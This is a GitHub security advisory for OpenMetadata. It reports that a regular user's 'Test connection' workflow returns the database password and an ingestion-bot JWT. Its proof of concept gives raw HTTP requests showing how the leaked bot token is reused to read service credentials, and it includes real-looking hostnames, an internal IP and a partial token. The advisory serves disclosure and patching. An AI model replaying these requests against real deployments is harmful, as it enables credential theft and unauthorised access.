{"id":"GHSA-9vmh-whc4-7phg","summary":"OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users","details":"**This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production**\nIn OpenMetadata 1.12.1, a non-admin SSO user can trigger a `TEST_CONNECTION` workflow for a Database Service and receive, in the HTTP 201 response of `POST /api/v1/automations/workflows`, both:\n\n- The cleartext database password in `request.connection.config.password`.\n- The ingestion bot JWT in `openMetadataServerConnection.securityConfig.jwtToken`.\n\nThe leaked ingestion-bot token can then be reused as `Authorization: Bearer \u003cjwt\u003e` to access sensitive service APIs (for example, `GET /api/v1/services/databaseServices/{id}?include=all`) with bot-level privileges.\n\nThis looks different from GHSA-pqqf-7hxm-rj5r, because it affects the `automations/workflows` TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.\n\n---\n\nVersion / Product\n\n- Product: OpenMetadata (open source, Apache 2.0)\n- Version: 1.12.1\n  - GET /api/v1/system/version →\n    {\"version\":\"1.12.1\",\"revision\":\"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5\"}\n- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (`secretsManagerProvider: \"db\"`).\n\n---\n\nPreconditions\n\n- Authenticated SSO user with access to the UI.\n- User can open a Database Service and click “Test connection”.\n- No server admin role, no shell/DB access.\n\n---\n\nPoC (short)\n\n1) Login as a regular SSO user.\n\n2) In the UI go to:\n   Settings → Services → Database Services → utplrac_scan2_srvetel  \n   Open the connection tab and click “Test connection”.\n\n3) The browser sends:\n\nPOST /api/v1/automations/workflows HTTP/1.1\nHost: catalogodatos-test.utpl.edu.ec\nAuthorization: Bearer \u003cAzure_AD_user_JWT\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"test-connection-Oracle-XXXX\",\n  \"workflowType\": \"TEST_CONNECTION\",\n  \"request\": {\n    \"connection\": {\n      \"config\": {\n        \"type\": \"Oracle\",\n        \"scheme\": \"oracle+cx_oracle\",\n        \"username\": \"qpro_gobierno_datos\",\n        \"password\": \"********\",\n        \"hostPort\": \"172.16.54.32:1521\",\n        ...\n      }\n    },\n    \"serviceType\": \"Database\",\n    \"connectionType\": \"Oracle\",\n    \"serviceName\": \"utplrac_scan2_srvetel\"\n  }\n}\n\nNote: in the request the password is masked as \"********\".\n\n4) The server responds with HTTP 201 and a body similar to:\n\n{\n  \"id\": \"5acd06f0-0db6-43b9-b0e0-e1574479bba7\",\n  \"workflowType\": \"TEST_CONNECTION\",\n  \"request\": {\n    \"connection\": {\n      \"config\": {\n        \"type\": \"Oracle\",\n        \"scheme\": \"oracle+cx_oracle\",\n        \"username\": \"qpro_gobierno_datos\",\n        \"password\": \"\u003cREAL_PASSWORD_HERE\u003e\",\n        \"hostPort\": \"172.16.54.32:1521\",\n        ...\n      }\n    },\n    \"serviceType\": \"Database\",\n    \"connectionType\": \"Oracle\",\n    \"serviceName\": \"utplrac_scan2_srvetel\",\n    \"secretsManagerProvider\": \"db\"\n  },\n  \"openMetadataServerConnection\": {\n    \"type\": \"OpenMetadata\",\n    \"hostPort\": \"http://openmetadata-server:8585/api\",\n    \"authProvider\": \"openmetadata\",\n    \"securityConfig\": {\n      \"jwtToken\": \"eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s...\"\n    },\n    ...\n  },\n  \"updatedBy\": \"\u003cregular_user\u003e\",\n  ...\n}\n\nKey points:\n- request.connection.config.password now contains the real Oracle DB password in cleartext.\n- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = \"ingestion-bot\", tokenType = \"BOT\").\n\n5) Reuse the leaked ingestion-bot JWT:\n\nGET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1\nHost: catalogodatos-test.utpl.edu.ec\nAuthorization: Bearer \u003cleaked_ingestion-bot_JWT\u003e\nAccept: application/json\n\nThe API returns the full database service including username and password, confirming bot-level access.\n\n---\n\nImpact / Severity\n\n- Any user who can run “Test connection” on a database service can:\n  - Recover the cleartext DB credentials.\n  - Recover a long‑lived ingestion-bot JWT.\n  - Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.\n\n**\n\u003cimg width=\"1256\" height=\"653\" alt=\"LOWLEVELTOKEN\" src=\"https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc\" /\u003e\n\u003cimg width=\"194\" height=\"339\" alt=\"USERROL\" src=\"https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b\" /\u003e\n\u003cimg width=\"972\" height=\"389\" alt=\"CLEARPOC\" src=\"https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984\" /\u003e**","aliases":["CVE-2026-46481"],"modified":"2026-06-09T13:30:19.016598101Z","published":"2026-05-21T16:36:25Z","database_specific":{"github_reviewed_at":"2026-05-21T16:36:25Z","nvd_published_at":"2026-06-08T17:16:51Z","cwe_ids":["CWE-201"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-9vmh-whc4-7phg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46481"},{"type":"PACKAGE","url":"https://github.com/open-metadata/OpenMetadata"}],"affected":[{"package":{"name":"org.open-metadata:openmetadata-service","ecosystem":"Maven","purl":"pkg:maven/org.open-metadata/openmetadata-service"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.12.4"}]}],"versions":["0.12.1","0.12.1.preview","0.12.2","0.12.2-REPUBLISHED","0.13.1","0.13.2","0.13.2-beta","1.0.0","1.0.0-alpha","1.0.0-beta","1.0.1","1.0.2","1.0.3","1.0.4","1.0.4.1","1.0.5","1.1.0","1.1.0-beta","1.1.1","1.1.2","1.1.2.1","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.10.0","1.10.1","1.10.10","1.10.11","1.10.12","1.10.13","1.10.14","1.10.2","1.10.3","1.10.4","1.10.5","1.10.6","1.10.7","1.10.8","1.10.9","1.11.0","1.11.0-rc1","1.11.1","1.11.10","1.11.11","1.11.12","1.11.13","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.11.7","1.11.8","1.11.9","1.12.0","1.12.0-rc1","1.12.1","1.12.2","1.12.3","1.2.0","1.2.0-beta","1.2.0-beta1","1.2.0-beta2","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.3.0","1.3.0-beta","1.3.1","1.3.2","1.3.2-rc1","1.3.2-rc2","1.3.2-rc3","1.3.3","1.3.3-rc1","1.3.3-rc2","1.3.4","1.4.0","1.4.0-rc1","1.4.0-rc2","1.4.0-rc3","1.4.0-rc4","1.4.1","1.4.2","1.4.4","1.4.4-rc1","1.4.5","1.4.5-rc1","1.4.6","1.4.6-rc1","1.4.7","1.4.8","1.5.0","1.5.0-rc1","1.5.0-rc2","1.5.1","1.5.10","1.5.11","1.5.12","1.5.13","1.5.14","1.5.15","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-rc1","1.6.0-rc2","1.6.0-rc3","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-rc1","1.7.0-rc2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","1.9.1","1.9.10","1.9.11","1.9.11.7","1.9.11.8","1.9.12","1.9.13","1.9.14","1.9.15","1.9.16","1.9.17","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","1.9.7","1.9.8","1.9.9","DEMO_BETA1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9vmh-whc4-7phg/GHSA-9vmh-whc4-7phg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"}]}